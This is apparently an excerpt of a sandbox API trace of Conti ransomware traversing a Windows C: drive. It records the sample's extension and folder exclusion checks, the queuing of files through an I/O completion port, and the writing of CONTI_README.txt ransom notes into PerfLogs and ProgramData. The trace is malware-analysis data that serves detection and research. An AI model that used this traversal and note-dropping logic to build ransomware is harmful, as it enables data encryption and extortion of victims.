	[0097.104] StrStrIW (lpFirst="Setup.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.104] StrStrIW (lpFirst="Setup.evtx", lpSrch=".exe") returned 0x0
	[0097.104] StrStrIW (lpFirst="Setup.evtx", lpSrch=".dll") returned 0x0
	[0097.104] StrStrIW (lpFirst="Setup.evtx", lpSrch=".lnk") returned 0x0
	[0097.104] StrStrIW (lpFirst="Setup.evtx", lpSrch=".sys") returned 0x0
	[0097.104] StrStrIW (lpFirst="Setup.evtx", lpSrch=".CONTI") returned 0x0
	[0097.104] StrStrIW (lpFirst="Setup.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.104] lstrlenW (lpString="C:\\Logs") returned 7
	[0097.104] lstrlenW (lpString="Setup.evtx") returned 10
	[0097.104] GetProcessHeap () returned 0x1720000
	[0097.104] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x26) returned 0x17420e8
	[0097.104] lstrcpyW (in: lpString1=0x17420e8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0097.104] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0097.104] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Setup.evtx" | out: lpString1="C:\\Logs\\Setup.evtx") returned="C:\\Logs\\Setup.evtx"
	[0097.104] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e68f8) returned 1
	[0097.104] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x505097c4, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x505097c4, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x111000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="System.evtx", cAlternateFileName="SYSTEM~1.EVT")) returned 1
	[0097.104] lstrcmpiW (lpString1="System.evtx", lpString2=".") returned 1
	[0097.104] lstrcmpiW (lpString1="System.evtx", lpString2="..") returned 1
	[0097.104] StrStrIW (lpFirst="System.evtx", lpSrch=".CONTI") returned 0x0
	[0097.104] StrStrIW (lpFirst="System.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.104] StrStrIW (lpFirst="System.evtx", lpSrch=".exe") returned 0x0
	[0097.104] StrStrIW (lpFirst="System.evtx", lpSrch=".dll") returned 0x0
	[0097.104] StrStrIW (lpFirst="System.evtx", lpSrch=".lnk") returned 0x0
	[0097.105] StrStrIW (lpFirst="System.evtx", lpSrch=".sys") returned 0x0
	[0097.105] StrStrIW (lpFirst="System.evtx", lpSrch=".CONTI") returned 0x0
	[0097.105] StrStrIW (lpFirst="System.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.105] lstrlenW (lpString="C:\\Logs") returned 7
	[0097.105] lstrlenW (lpString="System.evtx") returned 11
	[0097.105] GetProcessHeap () returned 0x1720000
	[0097.105] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x28) returned 0x1741ed8
	[0097.105] lstrcpyW (in: lpString1=0x1741ed8, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0097.105] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0097.105] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="System.evtx" | out: lpString1="C:\\Logs\\System.evtx") returned="C:\\Logs\\System.evtx"
	[0097.105] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e6fd0) returned 1
	[0097.105] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 1
	[0097.105] lstrcmpiW (lpString1="Windows PowerShell.evtx", lpString2=".") returned 1
	[0097.105] lstrcmpiW (lpString1="Windows PowerShell.evtx", lpString2="..") returned 1
	[0097.105] StrStrIW (lpFirst="Windows PowerShell.evtx", lpSrch=".CONTI") returned 0x0
	[0097.105] StrStrIW (lpFirst="Windows PowerShell.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.105] StrStrIW (lpFirst="Windows PowerShell.evtx", lpSrch=".exe") returned 0x0
	[0097.105] StrStrIW (lpFirst="Windows PowerShell.evtx", lpSrch=".dll") returned 0x0
	[0097.105] StrStrIW (lpFirst="Windows PowerShell.evtx", lpSrch=".lnk") returned 0x0
	[0097.105] StrStrIW (lpFirst="Windows PowerShell.evtx", lpSrch=".sys") returned 0x0
	[0097.105] StrStrIW (lpFirst="Windows PowerShell.evtx", lpSrch=".CONTI") returned 0x0
	[0097.105] StrStrIW (lpFirst="Windows PowerShell.evtx", lpSrch="CONTI_README.txt") returned 0x0
	[0097.105] lstrlenW (lpString="C:\\Logs") returned 7
	[0097.105] lstrlenW (lpString="Windows PowerShell.evtx") returned 23
	[0097.105] GetProcessHeap () returned 0x1720000
	[0097.105] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x40) returned 0x17346c0
	[0097.105] lstrcpyW (in: lpString1=0x17346c0, lpString2="C:\\Logs" | out: lpString1="C:\\Logs") returned="C:\\Logs"
	[0097.105] lstrcatW (in: lpString1="C:\\Logs", lpString2="\\" | out: lpString1="C:\\Logs\\") returned="C:\\Logs\\"
	[0097.105] lstrcatW (in: lpString1="C:\\Logs\\", lpString2="Windows PowerShell.evtx" | out: lpString1="C:\\Logs\\Windows PowerShell.evtx") returned="C:\\Logs\\Windows PowerShell.evtx"
	[0097.105] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e9b28) returned 1
	[0097.105] FindNextFileW (in: hFindFile=0x175e670, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50555c8d, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0x50555c8d, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x95ae023d, ftLastWriteTime.dwHighDateTime=0x1d1a04e, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="Windows PowerShell.evtx", cAlternateFileName="WINDOW~1.EVT")) returned 0
	[0097.106] GetProcessHeap () returned 0x1720000
	[0097.106] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17b39a0 | out: hHeap=0x1720000) returned 1
	[0097.106] FindClose (in: hFindFile=0x175e670 | out: hFindFile=0x175e670) returned 1
	[0097.106] GetProcessHeap () returned 0x1720000
	[0097.106] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17b3c20 | out: hHeap=0x1720000) returned 1
	[0097.106] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x6e97b025, ftCreationTime.dwHighDateTime=0x1d3275c, ftLastAccessTime.dwLowDateTime=0x6e97b025, ftLastAccessTime.dwHighDateTime=0x1d3275c, ftLastWriteTime.dwLowDateTime=0x21ffac8, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x28000000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="pagefile.sys", cAlternateFileName="")) returned 1
	[0097.106] lstrcmpiW (lpString1="pagefile.sys", lpString2=".") returned 1
	[0097.106] lstrcmpiW (lpString1="pagefile.sys", lpString2="..") returned 1
	[0097.106] StrStrIW (lpFirst="pagefile.sys", lpSrch=".CONTI") returned 0x0
	[0097.106] StrStrIW (lpFirst="pagefile.sys", lpSrch="CONTI_README.txt") returned 0x0
	[0097.106] StrStrIW (lpFirst="pagefile.sys", lpSrch=".exe") returned 0x0
	[0097.106] StrStrIW (lpFirst="pagefile.sys", lpSrch=".dll") returned 0x0
	[0097.106] StrStrIW (lpFirst="pagefile.sys", lpSrch=".lnk") returned 0x0
	[0097.106] StrStrIW (lpFirst="pagefile.sys", lpSrch=".sys") returned=".sys"
	[0097.106] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x17b3dd09, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="PerfLogs", cAlternateFileName="")) returned 1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2=".") returned 1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="..") returned 1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="tmp") returned -1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="winnt") returned -1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="Application Data") returned 1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="AppData") returned 1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="temp") returned -1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="thumb") returned -1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="$Recycle.Bin") returned 1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="$RECYCLE.BIN") returned 1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="System Volume Information") returned -1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="Program Files") returned -1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="Program Files (x86)") returned -1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="Boot") returned 1
	[0097.106] lstrcmpiW (lpString1="PerfLogs", lpString2="Windows") returned -1
	[0097.106] lstrlenW (lpString="C:\\") returned 3
	[0097.106] lstrlenW (lpString="PerfLogs") returned 8
	[0097.107] GetProcessHeap () returned 0x1720000
	[0097.107] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x1a) returned 0x174e3a8
	[0097.107] lstrcpyW (in: lpString1=0x174e3a8, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0097.107] lstrcatW (in: lpString1="C:\\", lpString2="PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs"
	[0097.107] lstrlenW (lpString="C:\\PerfLogs") returned 11
	[0097.107] GetProcessHeap () returned 0x1720000
	[0097.107] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x1c) returned 0x174e290
	[0097.107] lstrcpyW (in: lpString1=0x174e290, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs"
	[0097.107] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\*" | out: lpString1="C:\\PerfLogs\\*") returned="C:\\PerfLogs\\*"
	[0097.107] lstrlenW (lpString="C:\\PerfLogs") returned 11
	[0097.107] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0097.107] GetProcessHeap () returned 0x1720000
	[0097.107] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x3a) returned 0x1734990
	[0097.107] lstrcpyW (in: lpString1=0x1734990, lpString2="C:\\PerfLogs" | out: lpString1="C:\\PerfLogs") returned="C:\\PerfLogs"
	[0097.107] lstrcatW (in: lpString1="C:\\PerfLogs", lpString2="\\" | out: lpString1="C:\\PerfLogs\\") returned="C:\\PerfLogs\\"
	[0097.107] lstrcatW (in: lpString1="C:\\PerfLogs\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\PerfLogs\\CONTI_README.txt") returned="C:\\PerfLogs\\CONTI_README.txt"
	[0097.107] CreateFileW (lpFileName="C:\\PerfLogs\\CONTI_README.txt" (normalized: "c:\\perflogs\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0098.097] GetProcessHeap () returned 0x1720000
	[0098.097] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x1734990 | out: hHeap=0x1720000) returned 1
	[0098.097] WriteFile (in: hFile=0x35c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f88c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f88c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.098] CloseHandle (hObject=0x35c) returned 1
	[0098.098] FindFirstFileW (in: lpFileName="C:\\PerfLogs\\*", lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName=".", cAlternateFileName="")) returned 0x17c7e70
	[0098.098] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0098.099] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa03748ae, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="..", cAlternateFileName="")) returned 1
	[0098.099] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0098.099] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0098.099] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e509281, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e509281, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 1
	[0098.099] lstrcmpiW (lpString1="CONTI_README.txt", lpString2=".") returned 1
	[0098.099] lstrcmpiW (lpString1="CONTI_README.txt", lpString2="..") returned 1
	[0098.099] StrStrIW (lpFirst="CONTI_README.txt", lpSrch=".CONTI") returned 0x0
	[0098.099] StrStrIW (lpFirst="CONTI_README.txt", lpSrch="CONTI_README.txt") returned="CONTI_README.txt"
	[0098.099] FindNextFileW (in: hFindFile=0x17c7e70, lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4e509281, ftCreationTime.dwHighDateTime=0x1d5dfd1, ftLastAccessTime.dwLowDateTime=0x4e509281, ftLastAccessTime.dwHighDateTime=0x1d5dfd1, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x5c3fb4c, dwReserved1=0xb6a08, cFileName="CONTI_README.txt", cAlternateFileName="CONTI_~1.TXT")) returned 0
	[0098.099] GetProcessHeap () returned 0x1720000
	[0098.099] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x174e290 | out: hHeap=0x1720000) returned 1
	[0098.099] FindClose (in: hFindFile=0x17c7e70 | out: hFindFile=0x17c7e70) returned 1
	[0098.099] GetProcessHeap () returned 0x1720000
	[0098.099] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x174e3a8 | out: hHeap=0x1720000) returned 1
	[0098.099] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17b3dd09, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x41a8da6a, ftLastAccessTime.dwHighDateTime=0x1d5d816, ftLastWriteTime.dwLowDateTime=0x41a8da6a, ftLastWriteTime.dwHighDateTime=0x1d5d816, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files", cAlternateFileName="PROGRA~1")) returned 1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2=".") returned 1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="..") returned 1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="tmp") returned -1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="winnt") returned -1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="Application Data") returned 1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="AppData") returned 1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="temp") returned -1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="thumb") returned -1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="$Recycle.Bin") returned 1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="$RECYCLE.BIN") returned 1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="System Volume Information") returned -1
	[0098.099] lstrcmpiW (lpString1="Program Files", lpString2="Program Files") returned 0
	[0098.099] StrStrIW (lpFirst="Program Files", lpSrch=".CONTI") returned 0x0
	[0098.099] StrStrIW (lpFirst="Program Files", lpSrch="CONTI_README.txt") returned 0x0
	[0098.099] StrStrIW (lpFirst="Program Files", lpSrch=".exe") returned 0x0
	[0098.099] StrStrIW (lpFirst="Program Files", lpSrch=".dll") returned 0x0
	[0098.099] StrStrIW (lpFirst="Program Files", lpSrch=".lnk") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files", lpSrch=".sys") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files", lpSrch=".CONTI") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files", lpSrch="CONTI_README.txt") returned 0x0
	[0098.100] lstrlenW (lpString="C:\\") returned 3
	[0098.100] lstrlenW (lpString="Program Files") returned 13
	[0098.100] GetProcessHeap () returned 0x1720000
	[0098.100] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x24) returned 0x1741e78
	[0098.100] lstrcpyW (in: lpString1=0x1741e78, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0098.100] lstrcatW (in: lpString1="C:\\", lpString2="Program Files" | out: lpString1="C:\\Program Files") returned="C:\\Program Files"
	[0098.100] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17e6b40) returned 1
	[0098.100] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x17bfc901, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xe7a165b3, ftLastAccessTime.dwHighDateTime=0x1d5d810, ftLastWriteTime.dwLowDateTime=0xe7a165b3, ftLastWriteTime.dwHighDateTime=0x1d5d810, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Program Files (x86)", cAlternateFileName="PROGRA~2")) returned 1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2=".") returned 1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="..") returned 1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="tmp") returned -1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="winnt") returned -1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="Application Data") returned 1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="AppData") returned 1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="temp") returned -1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="thumb") returned -1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="$Recycle.Bin") returned 1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="$RECYCLE.BIN") returned 1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="System Volume Information") returned -1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="Program Files") returned 1
	[0098.100] lstrcmpiW (lpString1="Program Files (x86)", lpString2="Program Files (x86)") returned 0
	[0098.100] StrStrIW (lpFirst="Program Files (x86)", lpSrch=".CONTI") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files (x86)", lpSrch="CONTI_README.txt") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files (x86)", lpSrch=".exe") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files (x86)", lpSrch=".dll") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files (x86)", lpSrch=".lnk") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files (x86)", lpSrch=".sys") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files (x86)", lpSrch=".CONTI") returned 0x0
	[0098.100] StrStrIW (lpFirst="Program Files (x86)", lpSrch="CONTI_README.txt") returned 0x0
	[0098.100] lstrlenW (lpString="C:\\") returned 3
	[0098.101] lstrlenW (lpString="Program Files (x86)") returned 19
	[0098.101] GetProcessHeap () returned 0x1720000
	[0098.101] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x30) returned 0x1738ad0
	[0098.101] lstrcpyW (in: lpString1=0x1738ad0, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0098.101] lstrcatW (in: lpString1="C:\\", lpString2="Program Files (x86)" | out: lpString1="C:\\Program Files (x86)") returned="C:\\Program Files (x86)"
	[0098.101] PostQueuedCompletionStatus (CompletionPort=0x1b0, dwNumberOfBytesTransferred=0x1, dwCompletionKey=0x0, lpOverlapped=0x17ea200) returned 1
	[0098.101] FindNextFileW (in: hFindFile=0x175e830, lpFindFileData=0x5c3fb20 | out: lpFindFileData=0x5c3fb20*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x450f4738, ftLastWriteTime.dwHighDateTime=0x1d327cd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ProgramData", cAlternateFileName="PROGRA~3")) returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2=".") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="..") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="tmp") returned -1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="winnt") returned -1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="Application Data") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="AppData") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="temp") returned -1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="thumb") returned -1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="$Recycle.Bin") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="$RECYCLE.BIN") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="System Volume Information") returned -1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="Program Files") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="Program Files (x86)") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="Boot") returned 1
	[0098.101] lstrcmpiW (lpString1="ProgramData", lpString2="Windows") returned -1
	[0098.101] lstrlenW (lpString="C:\\") returned 3
	[0098.101] lstrlenW (lpString="ProgramData") returned 11
	[0098.101] GetProcessHeap () returned 0x1720000
	[0098.101] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x20) returned 0x174e290
	[0098.101] lstrcpyW (in: lpString1=0x174e290, lpString2="C:\\" | out: lpString1="C:\\") returned="C:\\"
	[0098.101] lstrcatW (in: lpString1="C:\\", lpString2="ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.101] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0098.101] GetProcessHeap () returned 0x1720000
	[0098.101] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x22) returned 0x17420b8
	[0098.101] lstrcpyW (in: lpString1=0x17420b8, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.101] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\*" | out: lpString1="C:\\ProgramData\\*") returned="C:\\ProgramData\\*"
	[0098.101] lstrlenW (lpString="C:\\ProgramData") returned 14
	[0098.101] lstrlenW (lpString="CONTI_README.txt") returned 16
	[0098.101] GetProcessHeap () returned 0x1720000
	[0098.102] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x40) returned 0x17343f0
	[0098.102] lstrcpyW (in: lpString1=0x17343f0, lpString2="C:\\ProgramData" | out: lpString1="C:\\ProgramData") returned="C:\\ProgramData"
	[0098.102] lstrcatW (in: lpString1="C:\\ProgramData", lpString2="\\" | out: lpString1="C:\\ProgramData\\") returned="C:\\ProgramData\\"
	[0098.102] lstrcatW (in: lpString1="C:\\ProgramData\\", lpString2="CONTI_README.txt" | out: lpString1="C:\\ProgramData\\CONTI_README.txt") returned="C:\\ProgramData\\CONTI_README.txt"
	[0098.102] CreateFileW (lpFileName="C:\\ProgramData\\CONTI_README.txt" (normalized: "c:\\programdata\\conti_readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0098.102] GetProcessHeap () returned 0x1720000
	[0098.102] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17343f0 | out: hHeap=0x1720000) returned 1
	[0098.102] WriteFile (in: hFile=0x35c, lpBuffer=0xba0d0*, nNumberOfBytesToWrite=0xa2, lpNumberOfBytesWritten=0x5c3f88c, lpOverlapped=0x0 | out: lpBuffer=0xba0d0*, lpNumberOfBytesWritten=0x5c3f88c*=0xa2, lpOverlapped=0x0) returned 1
	[0098.103] CloseHandle (hObject=0x35c) returned 1
	[0098.103] FindFirstFileW (in: lpFileName="C:\\ProgramData\\*", lpFindFileData=0x5c3f8b0 | out: lpFindFileData=0x5c3f8b0*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x17c6f037, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0x450f4738, ftLastAccessTime.dwHighDateTime=0x1d327cd, ftLastWriteTime.dwLowDateTime=0x4e509281, ftLastWriteTime.dwHighDateTime=0x1d5dfd1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c3fb4c, dwReserved1=0xb6884, cFileName=".", cAlternateFileName="")) returned 0x17c8130
	[0098.103] lstrcmpiW (lpString1=".", lpString2=".") returned 0
